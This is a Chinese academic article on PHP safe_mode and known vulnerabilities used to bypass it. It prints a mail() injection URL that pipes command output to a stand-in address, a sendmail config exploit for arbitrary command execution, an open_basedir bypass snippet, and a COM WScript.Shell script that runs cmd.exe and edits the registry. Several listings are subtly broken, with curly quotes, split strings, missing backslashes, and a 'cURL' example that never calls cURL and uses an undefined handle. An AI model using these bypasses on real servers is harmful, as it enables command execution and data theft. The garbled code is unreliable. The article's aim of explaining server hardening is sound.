馮碩 李永義
1唐山廣播電視大學教學管理中心 河北 063000 2唐山廣播電視大學網絡中心 河北 063000
PHP的安全模式即safe_mode是為了解決共享服務器安全問題而設置的,而且是惟一具有 PHP_INI_SYSTEM 屬性配置項。與magic_quotes_gpc的功能相似,safe_mode的主要功能是提高 PHP服務器的安全及性能,而且提供了比magic_quotes_gpc更為靈活、強大的管理功能。在多數情況下,通過修改WEB服務器層或操作系統層來解決安全問題存在較大難度,因此,虛擬主機服務提供商及大多數服務器管理員等都會使用PHP的Safe mode來增強系統的安全性,其增強內容主要包括四個方面:(1)限制哪些命令可以被執行;(2)限制哪些函數可以被使用;(3)基于腳本所有權和目標文件所有權的文件訪問限制設置;(4)禁止文件上載功能等。除了可以增強系統的安全性外,PHP的Safe mode對于服務器的性能提高也有很大作用。
PHP曾經出現過很多漏洞,比較嚴重的是一些函數漏洞,包括curl_init、exif_read_data等函數。如果不及時修補漏洞,攻擊者很容易利用存在漏洞的函數突破PHP的安全限制,例如:
(1)PHP mail()執行指令任意漏洞: 4.0.5至4.2.2版本的PHP都存在PHP mail函數繞過safe_mode限制執行任意命令的漏洞。從4.0.5版本開始,PHP為mail函數增加了第五個參數,由于設計問題,利用這個參數可以突破 safe_mode限制執行命令。其中4.0.5版本突破非常簡單,只需用分號分隔開后面的shell命令就可以,如存在一個evil.php文件,內容為:
<?
Mail(“foo@bar,”foo”,”bar”,””,$bar);
?>
執行如下URL:
Foo.com/evil.php? bar=;/usr/bin/id|mail evil@domain.com
對于4.0.6至4.2.2版PHP,要突破safe_mode限制還需要利用sendmail的-C參數,所以系統必須是使用sendmail,因此基于Windows環境的系統不存在這個漏洞。編輯運行如下一段代碼,就可以突破safe_mode限制執行任意命令了:
<?
# 下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
(2)PHP JPEG文件處理不正確導致遠程任意指令執行漏洞:2005年1月發現PHP在處理JPEG文件時存在問題的漏洞,影響的PHP系統范圍較大,包括PHP4.3.6-5.0.2多個版本。雖然及時發布了相應的補丁程序,但仍然有很多未更新的系統存在,遠程攻擊者可以利用這個漏洞,以 WEB進程權限在系統上執行任意指令。導致這一漏洞的問題存在于exif_read_data()函數中,通過發送包含超長的“sectionname”數據的JPEG文件給支持圖像上傳的PHP應用程序,可以導致發生緩沖區溢出,精心構造提交數據可能以WEB進程權限在系統上執行任意指令。
(3)PHP cURL函數允許腳本繞過“open_basedir”目錄限制漏洞:4.0-4.3.9所有版本的PHP系統均存在cURL漏洞,本地攻擊者可以利用它繞過 open_basedir目錄設置,FraMe公布報告本地用戶可以調用cURL(liburl)函數繞過“php.ini”文件中的“open_basedir”限制。可以用如下代碼實現突破:
<?php
$dir=”/tmp”;
//Open a known directory,and proceed to read its contents
If (is_dir($dir)){
While(($file=readdir($dh))!==false){
Print “filename:$file:filetype:”filetype($dir.$file).” ”;
Closedir($dh);
}
}
?>
除cURL函數外,還可以利用opendir函數代替系統的“ls”或“dir”命令。
(4)文件屬主不受safe_mode限制漏洞:如前所述,當被操作的文件所在的目錄的 UID和腳本 UID不一致時,safe_mode將限制其存取操作,但如果被操作的文件所在的目錄的UID和腳本UID一致時,即使該文件的UID和腳本的UID不同,也可以訪問,因此,PHP腳本屬主用戶需要詳細配置,如果使用root用戶作為腳本的屬主,那么Safe mode就完全失去意義了。
PHP的COM函數是Windows版本的PHP系統特有的函數,是一種允許可重用代碼使用標準常規調用同時將執行細節隱藏在API后的技術,如組件存儲在某臺計算機上,同時可對計算機執行內務處理。它可以被認為是一種帶基礎根對象的超級遠程過程調用(Remote Procedure Call, RPC)機制。COM函數促使執行從接口中分離,同時隱藏了執行的位置、代碼語言等細節,因此它廣泛應用在Win32環境下的軟件開發中。通過COM函數,可以輕易調用WIN32下的WSH/FSO組件來執行系統命令,因此,利用它突破Safe mode的限制就很容易了,實現代碼如下:
<?php
//利用COM函數執行系統命令
Function cmdrun($apli)
{
Global $WshShell;
$valors=$WshShell->run($apli);
Return($valors);
}
//操作注冊表
Function rtv_registre($aplicacio,$nom)
{
Global $WshShell;
$registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;
$valor=$WshShell->RegRead($registre);
Return($valor);
}
Function put_registre($aplicacio,$nom,$valor,$tipus=”REG_SZ”)
{
Global $WshShell;
$registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;
$retorn=$WshShell->RegWrite($registre,$valor,$tipus);
Return($retorn);
}
//載入WScript.Shell
$WshShell=new COM(“WScript.Shell”);
$a=rtv_registre(“wom”,”location”);
Echo $a.”<br>”;
//指定執行命令
$b=cmdrun(“cmd.exe /c dir e:\>a.txt”);
Echo $b;
//載入Scripting.FileSysytemObject
$exFSO=new COM(“Scripting.FileSystemObject”) or die(“Could not create Scripting.FileSystemObject”);
$myDir=”./”;
$myFile=”a.txt”;
$exDir=$exFSO->GetFolder($myDir);
$exFile=$exFSO->Getfile($myFile);
Echo $exDir->ShortPath;
Echo $exFile->ShortPath;
?>
使用 dl()可以動態地載入用戶編寫的擴展模塊,而Java擴展模塊是實驗性的,其行為,包括其函數的名稱及其它任何關于此模塊的文檔可能在沒有通知的情況下隨 PHP以后的發布而改變,因此,PHP官方網站提醒用戶在使用本擴展模塊時要自已擔負風險。
雖然在PHP中的Safe mode并非萬能的,但最好還是在服務器上打開安全模式,從而在一定程度上避免一些未知的攻擊。但是,對程序員來說,啟用Safe mode會有很多限制,特別是與系統相關的一些操作,如文件打開函數、命令執行函數等,使用起來均比較麻煩,而且源代碼要做很多調整才能正常使用,因此,是否開啟Safe mode模式,應該綜合考慮,詳細配置安全計劃。
[1]kevin.Windows的COM 支持函數庫.2001.4.http://www.phpe.net/manual/ref.com.php.
[2]Image圖像函數(Image Processing and GD).http://cn2.php.net/gd.